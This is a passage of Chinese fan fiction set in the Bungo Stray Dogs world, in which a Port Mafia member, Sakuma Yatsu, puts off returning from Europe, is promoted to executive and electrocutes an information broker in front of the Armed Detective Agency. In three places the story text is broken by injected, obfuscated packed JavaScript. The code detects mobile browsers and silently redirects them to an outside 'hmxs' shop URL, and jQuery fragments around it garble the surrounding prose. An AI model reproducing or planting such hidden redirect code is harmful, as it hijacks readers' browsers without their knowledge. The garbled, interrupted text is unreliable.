佐久间弥津前半年在欧洲的行动算不上多隐秘,引起别人注意也是应该的。 在佐久间准干部的“命令”下,情报部门不得不把敌方的情报尽可能完整地呈上。 国内的梅雨季终于迎来尾声,悬赏的金额也长久地没有再变过。 地下情报网里每日流通的消息不下百千条。但数月后传来的那条震撼人心的消息,让港口黑手党准干部的悬赏令实现了真正意义上的“无人问津”。 港口黑手党向以超高赏金定义了准干部成员珍贵价值的“对手”,献上了他们最高的敬意。 担心身份败露之后带来糟糕后果,个人或组织才会匿名发布悬赏令或是追杀令。但那边的世界就是如此,一着不慎,满盘皆输,招致厄运,也非他人的罪责。 不被法律和规则约束的组织,才能对付这样让光明世界的执法者们束手无策的流氓机构。 操刀的人是港口黑手党,获益的可不止港口黑手党。 若非如此,他们的行动怎会如此顺利。在权衡利弊之后,各方都抱着黄雀在后的心态,静待他们之间的对抗会如何写下句号。 最后的行动日挑选在秋季某个平平无奇的雨天。 凌厉的电光穿过屋顶坍塌形成的大洞,似天降落雷冲入研究所最中心的试验区,在点点水纹中爬满墙壁和实验罐。迅捷无比的电流在数秒内引起连环爆炸,整个研究所立即陷入电力瘫痪之中。 电流的无差别袭击让不少近身攻击型异能者瞬间败下阵来。 但此刻最危险的对手,并非佐久间弥津或港口黑手党常驻欧洲部门的干部成员。 被轻风吹斜的雨丝从天花板上的洞口洒进,打湿了呛人的烟尘。 戴帽子的橙发青年迈着平稳克制的步伐走进研究所正门后的大厅。 低头瞧了眼自己身上的瞄准点,港口黑手党的首领嗓音淡定地评价道,“还真是简陋的防卫手段。” 频繁的剧烈震动在不久后停息,仿佛是大地在昂首嘶鸣后进入悠闲的休憩时光。 行动的人少之又少,在正式行动前,自然一点风声都传不出去。 呼…… 年轻首领站在研究所的废墟之上,压了压帽檐,对久违的战斗感到心旷神怡。 佐久间弥津就站在自己的首领身边。 他此刻的心情很好。像是在柔软的云朵上跳舞,轻飘飘的。恍惚间,他突然穿过废墟腾起的烟雾看到了多年前的自己和中也先生。 就算成为组织的首领,港口黑手党赫赫有名的重力使也还是最初的样子。能和中也先生一起“出差”,他真的很高兴。 拆掉敌方建筑的港口黑手党首领一身轻松。 “等你之后回去,讨论一下升任的事。” 佐久间弥津突然忧伤了起来。 70.不想升职的准干部 一整个冬季与和第二年的初春,佐久间弥津还是老样子,呆在欧洲部门。像穿着厚重棉服,迈不开脚步的人,因为畏惧外界的寒冷而整日呆在火苗跃动的壁炉旁。 哪怕是一上午都抱着笔记本电脑翻内网邮箱,也不会让他感到乏味。 【还不回来吗,你躲什么】 答案显而易见吧。为了晚一点回国被升任干部,佐久间弥津在欧洲部门当起了“清洁工”。 整理从档案室翻出的陈年旧文件,佐久间弥津给自己找了很多活干。本部的同事每次问他什么时候回去,他都推辞说欧洲这边事务比较忙,“应该会和去年在差不多的时候。”绝对不会提前回去。 【我没有躲什么】 他这样回复。 发出的消息旁边立马出现【已读】的半透明标识。用内网聊天的好处和坏处是同一件事。显示已读的功能让他能知道公关官和他一样即时开着聊天界面。 【我有部几年前的电影要在电影节期间重映,电影票马上就到你手里】 坏了。 佐久间弥津想当自己没看到这条消息。【到时候,我可能没时间】 【不,你有时间】 唉……他和文艺创作毫无缘分,让早早辍学的他读剧本、看电影甚至是听音乐剧,是同一种性质的行为,暴殄天物,浪费时间。如果公关官想命令他写份观影报告出来,那他更做不到了。 【好的】 反正公关官不在眼前,他不如努力做出一副好态度。 【你的态度可以不这么公事公办的】 简直像他越级发送命令。 远在欧洲的佐久间弥津不知道自己的言行又会被“前辈”怎样吐槽,他只知道自己如果错过电影就要不好意思地表示抱歉了。 特意托人交给他的电影票是夜间最后一场,显然是对他的工作时间早有预料。但如果当天出现意外,即使是最后的午夜场也可能赶不过去。 其实他不知道自己在心里祈祷的是赶得上还是赶不上。想看吗,还是不想看?他在这种和工作本身无关的事上似乎经常犹豫……但正因为和组织的事务无关,所以即使他左右摇摆,犹豫不决,也不会耽误什么。 然而,等电影票上的开演时刻到来,他竟然真的抱着一桶爆米花准备进场了。 有点不可思议。 胸针里因此多了几张午夜电影院的相片。 他拍摄了对准地面的廊灯,还有垃圾桶。至于他为什么要拍垃圾桶……是因为垃圾桶里堆满了爆米花桶,非常壮观。等午夜场结束,这些都会被清理干净。被如此提醒,他也在入场前买了一桶爆米花,期待爆米花能陪伴自己看完一整场电影。 公关官给他的电影票有两张,也许希望他找个伴陪他一起去。可重映的电影是几年前上映过的,感兴趣的人早就看过了,不会看的人——比如他这样与艺术无缘的人——再重映一百遍也不会动心。 水落婉拒了他的“邀请”,常常不离开他身边的优也出乎意料地以“我看不懂电影”为由,在这一天早早离开了他。 他们好像对同事出演的电影在心理层面有点恐惧和畏缩。 是会有这种担忧的,他心想。电影院大荧幕上出现的青年在他的记忆里留下过提着两把冲锋枪离去的背影,这会让他很难觉得屏幕上戴着耳机,在笔记本上匆匆写就什么重要信息的主角是无害的普通人,身份真的只是大学里的年轻教授。 电影就是电影,不是现实。 天气仍然寒冷,会像他一样来看午夜场电影的多少有不为人知的特殊原因。他左前方第五排有一对姐弟,右后方靠近最后一排的地方有个长胡子老人。但这是同场观影的人里距离他最近的几个。 看到一半,他突然后悔没有买杯可乐……买杯咖啡也行啊,爆米花很甜,但不够脆,他也理解,毕竟是午夜场,离电影院打烊也不过一场电影的时间,工作人员把爆米花留够午夜场观众的份也算称职,他不指望前台的工作人员会为了零星的几位客人重新启动爆米花机。 一个小时四十多分钟,正常的电影长度。 自从戴上这枚有拍摄功能的胸针,他仿佛一夜之间养成了有事没事拍点什么的习惯。内存不大,一两周就要清理一次,拍摄的相片也很模糊,但这份模糊恰好是他需要的。 一生中不会第二次去的地方,不会再重逢的人,用不着记得太清楚。 他最后转身拍了一张无人的空旷走廊。 同场的观众走在他前面。有的在低头摆弄手机,另一只手插在大衣衣兜;那对姐弟去前台兑换了什么,他稍微留意观察,似乎可以领取电影重映版的随票纪念品。白胡子老人站在影院门口踱步,接打电话,像在等车。 看电影,他是外行,连电影要表达的氛围和主题都总结不出来。 但要他来评价的话,他觉得,“现实中的你比主角更……瞩目吧。” 和电影无关,我有些其他想知道的问题。 他零点离开电影院,位于横滨的电影主演则恰好在上午九点踏进办公室。 “请讲。” “喜欢”,或者说,“爱”,这种情感,是可以表演出来并且不被看穿的吗。厌恶和排斥,又要如何表达呢。 站在路灯下,佐久间弥津撑起伞。 他没注意今天的天气。没想到凌晨一点还会有一场浸透寒意的冷雨等着他。电话对面的人问他,为什么突然开始关心这种事。他不合时宜的沉默了。而这份沉默也让格外敏锐的人很快得出了正确答案。 “让我猜一猜。莫非是有人对你说过和电影台词一样的话?” 那还真是不得了。 “对方是不是被你干掉了。” “类似的话。没有干掉。那个人,只是个未成年学生。” “……?” 沉默转移到了另一个人身上。 抬脚踩在路沿,脚尖反复碾压泛着灰色的碎石,佐久间弥津说,“当年是。现在……按法律标准看,已经成年了。” * 为了让自己呆的时间更久一点,佐久间弥津想尽办法营造出自己还有事要忙的假象。 清理完过去数年间被有意无意忽视积压的任务,他又学会了在染崎的工作室或者水落的办公室躲着。一呆就是一整天。就连看染崎戴着防护面罩小心焊接精密设备都让他觉得有意思极了。 但拖延是没用的,如果首领真的生气了,一个命令他就要被召回国了。 要不……就说答应了公关官每天看一遍他的电影好了。他的电影要重映到哪天?还能再拖一周吗。 佐久间弥津真是穷尽了手段。 他背对着水落办公室的房门,用投影仪把传到电脑上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810444|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的照片投影到白墙上,一张接一张认真欣赏。 照片能凝固时间,也能凝固拍摄者的记忆。看着亲手拍下的照片,他居然能准确回想起拍摄这张模糊照片时的心情和契机。 他不是拍摄的行家,常常是心血来潮就拍一张。 对象也很随意,不仅在电影院拍过空走廊和垃圾桶;还在布达佩斯拍过漏水的水管——水滴了足有十分钟,怪不得那处街角湿漉漉的,还长着野草;被他亲手砸碎的红酒瓶,碎片遍布赌桌和反光的大理石地板——那个男人罪有应得,朝他身上吐烟圈的动作让人反胃,他操起旁边的酒瓶朝男人的脑袋砸了上去,他很可惜被浪费的酒,所以临走前拍了一张,但不知道拍的是酒还是血,混在一起,他分不太清。 欧洲部门门口两只在打架的流浪猫、家里热水壶烧水时水里的气泡、水落车里的仪表盘、融化的奶酪。 总之都是会被别人说神经病的东西。 站在他背后的人想必也是这种想法,不然怎么会一句话都不说。 但他拍过好东西,不是一天到晚只对着怪东西拍。 可是那些好东西是肉眼可见的好。不用他解释,见到那些照片的人都会理解他的审美。 庞贝古城的废墟,塔林的城墙,波尔图色彩斑斓的房子。还有一间酒窖,是合作伙伴家里的,他被邀请参观。 “你的生活还蛮丰富的。” “嗯。” 佐久间弥津快速切了十几张照片,把这一张给来人看。 这是一架放在公共场合的钢琴,佐久间弥津目睹过其一尘不染的样子,应该每天都有人维护。 下一张是另一个角度的钢琴。有位因为像素模糊所以看不出年纪的女性坐在钢琴凳上,双眼直视对面,也就是拍摄者的右前方,没注意到自己弹琴的样子被意想不到的人记录了下来。 “你会弹钢琴吗。” 港口黑手党首领之下的三位高层同处一室,讨论的竟然会是这种问题。 “可能不会吧。”钢琴家模棱两可地回答,“你对我有这样的代号很好奇?” “我更好奇你为什么会来这里。” 国内的事务都留给首领?他想都不敢想,中也先生自己同意了吗? 佐久间弥津继续按着自己的节奏切照片,非要把每张照片都看一遍才算完。 “当然……是来带一个会让我们的首领感到难办的人回去。” 从来只穿着单调黑白两色衣服的青年从佐久间弥津背后走到其身侧,手指修长的右手轻轻搭在佐久间弥津肩头。 “更喜欢这里,所以不想回去,还是有别的私人理由。你拍的风景照基本都是欧洲的国家呢。” 佐久间弥津依旧沉默地切着照片,响彻水落望音办公室的只剩按键盘的声音。 “弥津,本部的意思……” 水落望音不想让好友和另一位干部成员之前的气氛变得更加奇怪。若不是彼此之间有工作以外的交情,哪个组织的干部会允许成员如此任性。 “什么时候回去。” 没让水落望音说完,佐久间弥津干脆地关掉电脑和投影仪,从回忆中清醒过来,再次踩在坚硬的现实上。 直起腰来,望着刚才充当投影布的白墙,专程为佐久间弥津而来的干部笑着说,“看你的意思。” 随时都可以。 71.还是升了的干部 你好像没有很想要的东西。 “你是不是连自己的银行卡被放在哪都不记得。” 钢琴家从未对这位即将升任干部的青年展示过冷酷态度,因为他们从一开始就没有以那样的氛围交流。 佐久间要带回国的“东西”很少,只有手机、电脑、伞、一瓶药,还有一个活生生的人,那名几乎不曾离开佐久间身边的副手。这次没人给佐久间送来大桶巧克力——或许是碍于他在场,不方便给,毕竟郑重地交接一桶巧克力,还是太好笑了。 佐久间的副手据说是个精神操纵型异能力者,从加入组织开始就在佐久间身边。他不是觉得二人的关系有受此影响,关注此人只是对精神操纵型的异能应该有的警惕。 “这个还是知道的。” “在英国,你也住一直酒店吗。” 以酒店为家,听起来过得有点委屈了。 佐久间对他摇头,表示在伦敦有自己的住处,“照片里有拍。” 他拍过家里的热水壶。为了拖延而做的每一件事都是有趣的。他不是拖延症患者,第一次在生活中回想起国中时学过的物理知识,他便对准水逐渐沸腾的热水壶拍下一张。模糊的照片拍不出水中密密麻麻的气泡,但如果有人问起,他会认真解释的,就像现在一样。 “你原本打算什么时候回去。”钢琴家如此问道。不会想等到他们的首领亲自发布命令再回去吧。 至少要……要六月份?他一定能在国内的梅雨季到来前赶回去的,他发誓。 佐久间的计划是很符合逻辑,但是,“明年再这么计划吧。今年你得早点回来。” 一想到回去要面对什么的“准干部”又沉默了,像是不愿在他面前吐露真实想法。这样的反应倒是让他觉得有意思。 漫长的飞机行程,戴着蒸汽眼罩装睡的人有点让人哭笑不得,但时间一长,也分不清他到底是在装睡还是真的犯困。 一路无事,飞机的目标是总部大楼楼顶的停机坪。 飞机降落之前,他又问,“心愿之类的,有吗。” 答案很重要吗?回过头望着他的青年说。“我没考虑过这种事。” 他看着这双眼睛,尝试分析佐久间此刻的心情,“我该送你一份贺礼。” 按理来说,是这样的,毕竟升任干部的时刻很难得吧。询问佐久间的喜好是他自作主张。既然见证了佐久间从与首领重建联络到经历前成员的“暗杀”最后被召回至今的曲折离奇全过程,有这样的“交情”,他们之间的关系可以更自在一点。 “必须给我吗。” “你可以选择不接受。” 他对接下来的话做好心理准备了,无论佐久间说什么他都不会震惊。 佐久间回过头去,低声安排副手接下来的事务。但无非是些倒时差之类的小事,他们的首领可不是会给刚回来的成员堆大量事务的人。 最后,那双熟悉的眼睛看向他,“请我吃烤肉吧。” 他还是和以往很多次一样不理解,但尊重。 欣然答应,“好。” 能从人群中脱颖而出的佐久间弥津,是谁培养起来的呢。是招揽佐久间加入组织的森先生,还是他们过去重用过佐久间的首领。除了镜优,佐久间没有其他常年留在身边的下属,这个人会是下一个‘佐久间’吗? 细细思索片刻,他很快否认了自己的想法。唯有类型相似的异能力者才能重走佐久间的路。 走在他身边的青年换了身衣服,国内外略有差别的天气还是不能一概而论,但佐久间的心情似乎也不错。非正式工作期间,更喜欢穿浅色?还真是把工作和生活区分得很明显。这也是从别处学来的习惯? 他没把佐久间的“要求”当真。请客吃饭这种事他很熟悉,和其他人打赌输了,或者被某些家伙拿任务成果“胁迫”,他往往得请客吃饭息事宁人。但那几个狮子大开口的人不仅不管他的银行卡限额,也不管订好的餐厅有多远,总之颇为猖狂。 他之后还是会准备一份正式的礼物,在合适的时候送到佐久间手上。和物欲太低的人打交道是有这种不方便的地方。 走在身边的人是这家烤肉店的熟客。进门后习惯性地走向靠窗最里的桌子,随后突然想起这次有他同行,才停下脚步望着他,像是征求他的意见。他哪有意见。他不过暂时充当佐久间的钱包而已,偶尔转换成这样的“身份”也挺稀奇。 干部的任命顺理成章。这两年里,佐久间以“工作”一词一概而论的行动,被组织内外的人耳闻目睹,升任干部对佐久间来说其实仅是时间问题。 虽然其本人不太乐意接过这样看起来是“虚名”的东西。 担心和别人的关系因此变味?他倒是觉得以佐久间的性格根本用不着担心。 佐久间身上的传言和真实情况最为割裂。无法否认佐久间作为武斗派的纯粹,但其身上并非仅有这一点值得注意。一个对首领忠心到连自己什么时候可以任性什么时候必须听从命令都清楚的人,才是从通缉令背后的佐久间的样子。 身上自带的淡淡幽默感也总是恰到好处地展现,能面无表情地口出惊人之语,也是佐久间无意间掌握的幽默秘诀吧。 传闻中所塑造的“佐久间弥津”不是港口黑手党需要的人,只是一个杀人如麻的刽子手,难当大用,真实的佐久间才是。 “你最初对自己的安排是什么,可以对我讲吗。” 他不是指佐久间回国的安排。指的是佐久间治过病之后的打算。一个脱离犯罪组织的成员,单独居住在无人知道的外地,也没有重操旧业,而是干起了亏本书店的生意,隐瞒身份同当地人交好。这听起来,不像会回来的意思。 一看到佐久间沉默,他就知道佐久间又在心里想着怎么敷衍别人了。但他不想给佐久间忽悠自己的机会,“认真点回答我。” “我想回欧洲那边。国外的事务我更熟悉。” 即使届时不必从头做起,但…… 佐久间弥津是认同“手感”一说的,也可以看作是工作状态的另一种表达。辞职的那四年,恐怕把自己接下来十四年的休息期都用掉了,想从休息中恢复最佳的工作状态,不是件特别容易的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814350|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚回横滨那段时间,他对本部的成员感到陌生。不说早就离他而去的森先生,就连中也先生也不在他眼前,优还要赶回英国。他能凭借的东西只有任命令,以及旗会的“前辈”借给他的信用。 “当时,我熟悉的人只有你们……但你们也在忙。” “空降”的准干部,十分不合理的任命令。若无法服众,后果不比前首领的逝世轻。但正因为他知道短时间内让其他人对自己建立起信任的方式只有一种,他才会选择以那样残忍的手段,以其他罪人的鲜血为代价,用以维系组织的稳定。 事实证明,这样的手段的确有利,但也让他在某些人眼里的形象固化成了杀人不眨眼的魔鬼,搞得他没有回头路可走。 钢琴家把时间交给逐渐话多了起来的青年,当然也再次见识了佐久间一旦说话时间长就需要喷药的情况。 熬过最苦的瞬间,佐久间晃了晃喷雾瓶,说出的话突然变得奇怪起来。 “所以,你真的不会弹钢琴吗。” 被太苦的药刺激得开始胡言乱语吗?“还真是抱歉呢。” 又过了几日,他把另外准备的贺礼交到佐久间手上,察觉佐久间不动声色地叹了口气。 “认命吧,”他玩笑道,“我们的首领说,你当务之急是从住了两年的酒店搬出来。” 佐久间对他们的反抗态度似乎体现在把办公室装修成电竞房的风格。 据说联排的电脑屏幕重现了佐久间辞职开书店时的“盛况”。靠墙一排架子上摆满颜色各异的键盘和鼠标,每一个进他办公室的人都会被震撼到一言不发,怀疑自己不是走进干部成员的办公室而是迷路之后走进一间主题展厅。 暗蓝色的窗帘被坠着流苏的布绳系好,守在窗边。办公室所在楼层高度足够,面对的是港口的方向,视野空旷明亮,被狙击的风险可谓少之又少,除非有人掌握自下而上狙击目标的能力。莫非佐久间抱着眼睛困乏就站到窗边眺望远处放松眼睛的打算。 “我暂时……不是很想搬。住酒店很方便的。” 停下拆礼物包装袋动作的人忽然认真地对他讲起住酒店的好处。任务也好,休息也好,出入方便,离总部也很近。安保也很严密,他忙于工作日夜颠倒,累到昏睡的时候不用担心人身安全……总之优点很多。 “你会觉得安保严密,是因为你本身就代表安全。”你住哪里不安全呢。 “是这样吗。” 只有你的敌人才会觉得你不安全。 佐久间弥津从钢琴家亲自送来的盒子里拆出几卷纸币。纸币下是另一个小盒子。如果小盒里的香水瓶才是钢琴家想要给他的东西,那么这些纸币的用意是什么。 “是□□。你留下撕着玩吧。” 转身离开的人摆了摆手,示意那只是充当填充物的东西。 ……啊? 佐久间弥津走到窗边,抽出一张钢琴家留给他的纸币,又问隔壁办公室的优借来一张真正的纸钞,一左一右拿着,对着蓝天观察。做得很精致,也很像真的。钢琴家不提醒他,他肉眼就分辨不出哪个真,哪个假。 72.守序邪恶的干部 这一年的港口黑手党拥有了自己的第三位干部,这样的结果让人毫不意外。 作为存在多年的犯罪组织,高层的更新换代从来都有迹可循。异能特务科、军警甚至警视厅,种种部门都会盯着他们。 更何况,新任的干部无论从哪个方面看,都像个彻头彻尾的,习惯诉诸暴力的狂热武斗派。 如果有什么能削弱此话题的准确性,可能只剩那人从不明目张胆暴露的杀意了。在他们对其展开研讨分析的时候,这个常年带伞的年轻男人说不定正在暗中行动,为港口黑手党在地下世界的权威得以延续,继续亲手垒起一砖一瓦。 事实确实如此。 干部的任命和通缉令的发布,几乎是同时出现的。这对新任干部来说似乎有点太迟了,早在他组建属于港口黑手党的歼灭部队时就应该如此。 这时发布的通缉令,“通缉”的作用太少,而“警告”的作用才是真。 今天不是雨天,也没有既定的工作,但不愿意休息的新任干部先生会自己跟着别人出门。 之前要求把办公室重新装修成那种风格,他不是想表达何种特殊的想法……好吧,他也有稍微反抗一下的意思。 但在那之后,他还是会一心趴在自己该做的事上。 “贺礼”……说实话,这种东西,没什么必要,他不会因为收不到礼物就生气。 该不会有人把他当小孩看吧。 走进电梯的人在心中如此想道。 电梯下行,停在地下车库所在层。 上车前,紫苑刻没听到任何声音,却忽然福至心灵地回头,手中正在装弹匣的手枪差点脱手。 银发青年站在电梯口,玫红色的眼瞳静静地望着他,像伫立在雨中的墓碑。 对雨天工作情有独钟的青年每次出现时总会伴随着雨天空气中特有的气味。可以说是从潮湿的泥土里冒出的气息,也可以说是空气中的灰尘被打湿之后对嗅觉的刺激。 可湿润的空气和淅淅沥沥的雨声只是出现在他身边的幻觉。 刹那间回神,他依旧站在没合上的车门边,给手枪换弹匣。而他的上司也没有撑着伞,而是把脱掉的风衣外套搭在胳膊上,垂下的部分恰好挡住被拿在手里的雨伞。 和他一样看到佐久间先生的成员纷纷向这位值得尊敬的高层行礼。 佐久间先生出现在这里,是有需要紧急行动的任务吗…… 正当他疑惑之时,佐久间先生越过他,打开副驾驶位的车门,径直上车,还回头示意他动作快点。 “你要去做什么。” 之前追踪过的地下情报组织的残留人员在横滨现身了。“随身带着内容对我们不利的文件,要交给另一伙人。” “我也一起吧。” 佐久间先生关上车门,平静地目视前方,等他开车。 紫苑刻扶了下眼镜,“这是很……” 这是简单到他顺手就能完成的工作安排,如果佐久间先生没有其他事可做,今天可以早一点下班。 “一起。” 好……那就一起吧。 但工作总会有意外嘛。 紫苑刻解决意外的经历很丰富。像彻夜呆在医疗部结果偶遇似乎想对别人隐瞒自己受伤情况的上级;又像是以出乎意料的方式和其他组织的卧底偶遇在地下车库旁的垃圾桶;不小心撞见任务目标的恋人出轨……等等,这些稀奇古怪的事他都经历过。 所以,他才不会觉得佐久间先生的个性有哪里不好相处,和有些人相比,已经是正常人类的范畴了,他对这位上司相当尊重。 耳机里传来现场报告的声音。 这次遇到的意外是……和某个碍眼的组织狭路相逢啊。 他把车熄火,扭头看着上司,永远面无表情的上司也看向他。离得这么近,他才发现上司的眼神有些茫然。 “我得下车一趟,佐久间先生。” 于是他听到意料之内的“我也一起”。 好吧,毕竟这位是他的上司,对他发出的任何命令都是必须完成的。 * 慌不择路向路人求救的人完全忘了这是在港口黑手党的地盘。 求救的对象却真的愿意为了他与那些追着腥味而来的野兽对峙。 他有什么错呢?在他的同伙生死不明时继续干这趟只是为了赚更多钱而已,在暗地里贩卖的还是些内容真假不明的情报,有必要咬着他不放吗?拖着被子弹击中血流不止的小腿,他像找到救星一样抓着年轻男人的风衣,语气哀恸,借机唤起这几个年轻人的同情心。 见此情景,在场的人心头各种心思翻滚。 武装侦探社的诸位面对陌生人的求救有在迟疑。 港口黑手党是横滨黑暗面的代名词,凡是有所了解的人,此刻一定会认为港口黑手党又在干违反犯罪的事。 假如被追杀的人当真也有罪,不如由他们送去官方机构,更合情合理。任凭其被当街杀害这种事……他们真的很难做到。 即便有罪,恐怕也罪不至死。 这样的想法倒也没错。 假如这里不是名为横滨的城市的话,事情一定会按照他们所想的那般发展。 手持枪支的黑手党成员对着耳机另一头低声汇报情况。 区区一个贪图钱财的情报贩子,不是组织性命攸关的重要时刻,是用不着出动特殊人员的。 但倒霉的人各有各的倒霉。 责任已了的成员们纷纷为走上前来的人让路。 被印在通缉令上的青年走近,直视着妨碍到这次行动的人,注意力稍稍分给那个把人生中最后的幸运都放在遇到武装侦探社这种事上的情报贩子。 看到这个男人,芥川龙之介的眼神也变得复杂起来。 港口黑手党的新任干部……通缉令都送到武装侦探社来了。前年秋季与他的对峙还历历在目。就算此刻没有下雨,今天也不是阴天,青年依旧带着那把伞。 “武装侦探社,一定要和我们作对吗。” 离他们不过两米远的青年,说话语气十分寡淡,嗓音还是那般低哑古怪,但慢吞吞的语速不会让别人听不懂。 有中间人的调和,他们双方这几年来几乎再无过度的摩擦。偶尔的碰撞激不起水花。可今日遇到的是港口黑手党的干部,实在是不巧,对谁都是如此。 不等他们想出应对之法,生着红眸的青年忽然对下属们做了准备撤退的手势。 如此古怪的事情发展,实在让人不由地提心吊胆起来。 若是事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822219|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这样以港口黑手党退一步结束,佐久间弥津也实在愧对干部之名。 眨眼间,气氛仿佛凝固的街道里,闪过的电流有如流星划过天际留下的漂亮拖尾,爬满道路两边的墙壁。 在电流的刺啦声中,情报贩子的背包里装着的笔记本电脑突然爆炸,接着燃起烈火。 被追杀至此的人慌忙甩开起火的背包,强忍着痛冲向巷口。他是搞情报的,怎么可能不知道港口黑手党成员口中的佐久间干部是谁。 然而银白的电光如虎般扑出,绕过所有无关人等,精准地击中那名快要逃出攻击范围的情报贩子。 被电流洗刷的人面朝下摔倒在地上,连痛呼都没有发出,抽搐几下,灵魂似乎立马远离了这具自食其果的身体。 “别滥用同情心,武装侦探社。一个卖假情报,间接害死无辜横滨市民的家伙,不值得任何人保护。” 青年的嗓音实在特别,让芥川龙之介在因目睹惨剧发生而心跳骤增时,分不清青年是在警告他,还是以别的何种身份剥夺他心头的负罪感,冻结他的愤怒。他的词汇量在此刻显得太过贫乏,竟然找不出词来描述他的复杂心情。 “真想保护什么,你们就不该在港口黑手党周围等待目标。我们身边的一切,自然归我们处理,谁也不能插手。” 夜幕降临之际,火光照亮人们神色各异的脸庞。背包燃烧着,蓝绿色描边的火焰越发旺盛,时不时传出爆破音,笔记本电脑的塑料外壳被焚烧冒出了刺鼻的气味,灰烟过后,竟然闪过蓝紫色的火光,从灰烟演变而来的黑灰色浓烟飘摇直上,散在空中,好似旧时代篝火的呼唤。 他不想再和武装侦探社的人对话,但提醒一句总是要的,“别站那么近。氟化氢有毒。” 他又回头嘱咐紫苑,情报贩子的尸体等东西都烧干净了再处理,“也别用水去灭火。”□□腐蚀性更大。 佐久间弥津不担心对方动手。 即使对方动手,他也能保证己方全身而退就是了。 横滨如今的形势是在异能特务科的调停下维持的平静。谁想打破其中的平衡,谁就是导致横滨陷入混乱的罪魁祸首。异能特务科好不容易创造的和平环境,如果是被武装侦探社亲手破坏的,简直是送上门来的开战理由。 把别人架在火上烤的手段实在太多了,他用起来得心应手。 紫苑刻明白上司的意思,只需要一点化学知识。 他不明白的是…… 他低头瞧了一眼,再次确认不是自己眼花,佐久间先生手里的伞在不知什么时候变成了一根手杖。 所以说……这把伞原来是个魔术道具? 手杖长短和伞差不多,同样被衣服遮住大半,颜色也相近,让人容易忽略不协调的地方。 在日常生活中持续不断地把异能力“喂”给维尔丹尼,在这两年里已经变成了佐久间弥津的生活习惯。 简直像神话传说中盗取火种的普罗米修斯,只不过他盗取的是作为能力源泉的电量。 就当他在为组织的年度电费单着想吧。有些成本没必要自己支出,他自己也不敢夸下海口说,“个人原因导致的电费增加额从工资里扣”,那是个深不见底的坑。 从别人身上免费夺来的力量,让人心情舒畅。 73.第二次被误伤的干部 “能看懂吗?” 佐久间弥津背在身后的手里攥着自己的通缉令,眼神快速在那些在染崎的工作室里没见过的机器上扫过一遍,摇头表示自己看不懂这些机器的功能。 “抱歉。” 虽然过去常年呆欧洲的经历帮他掌握了几门外语,可实际上他是个连高中都没读完的低学历人士。 出差的日子里,他经常躲在染崎的工作室。染崎是货真价实的天才,哪怕和他一样辍学,也凭借兴趣和刻苦继续在自己热爱的方向搞研究。假如当年在研究经费上赞助她的是光明中的组织,无论是哪里,都会是比港口黑手党更好的去处。 同事的工作室比染崎的那间大很多,染崎也没有制作□□的能力,她更擅长鼓捣机械和电子设备。 他嗅到了空气中那股像化学实验室的药剂,又像摆满新书的图书馆的气味。很特殊,仿佛不是被他嗅到,而是主动窜进了他的鼻腔。 □□的制作工艺是他一辈子都学不会的东西。尤其是他听别人——旗会的其他人——说过,制作完美□□是钢琴家最擅长的技术,并且只有他能做到。就算这样天才的同事想主动把机密展示给他,他也是看不懂的。 偌大的工作室里,只有方才摆在他面前桌上的通缉令是他的认知能力允许他接受的知识。 通缉令上连他的全名都没有,而是用代号来称呼他,正经通缉令会这么做吗。照片不是正脸,是从监控摄像头里截取的俯视角度。画面有轻微程度的扭曲,让他的面容不够清楚。 熟悉他的人才能一眼认出来。 站在桌边的人双指捻起一张废钞,仔细端详,同时开口问他,听说他前段时间和那些人有过接触。 “没关系吗。” “嗯。” 随意扰乱横滨的形势,会有很多人受影响,包括组织自己的生意,所以他们不会这么做。 不然,佐久间弥津会专门在武装侦探社的人眼前做过火的事,以惹怒那帮生活在白昼里的人。武装侦探社的人都很年轻,正是这样的人容易意气用事。谁又能分得清什么是故意激怒,什么是他作为黑手党成员的职责。纯主观的东西,他说什么,就是什么,异能特务科是找不到证据反驳他的。 今天的晚霞是粉色的,透过窗帘缝隙照了进来。 像包裹地球的草莓味棉花糖。 佐久间弥津脑子里突然冒出这句话。 又是没有下雨的一天。从早到晚,天空中永远只有薄薄几片云,比薯片还薄,连厚重点的云层都没出现。 本该早早下班的人下午给自己在审讯部找了点加班的事做。只可惜他的存在好像会给其他人带来一点无形的压力。不想那么早回酒店蹉跎白日,也不想回办公室打开游戏不玩,纯放后台听音乐。他是把办公室装修成了那副样子,但不证明他真的会把办公室当电竞房来用。那样会被投诉吧……如果有人想投诉的话。 想到这,他心中无比纠结地对着无人的牢房拍了一张照。 没人完全明白他对港口黑手党的感情,他是连放空大脑数地牢门栏杆这种事都能做的人。 同为干部的人也不一定能理解他。他们之间是相差了几岁。以年龄划分时代,他和中也先生正是完全处于同一时代的人。 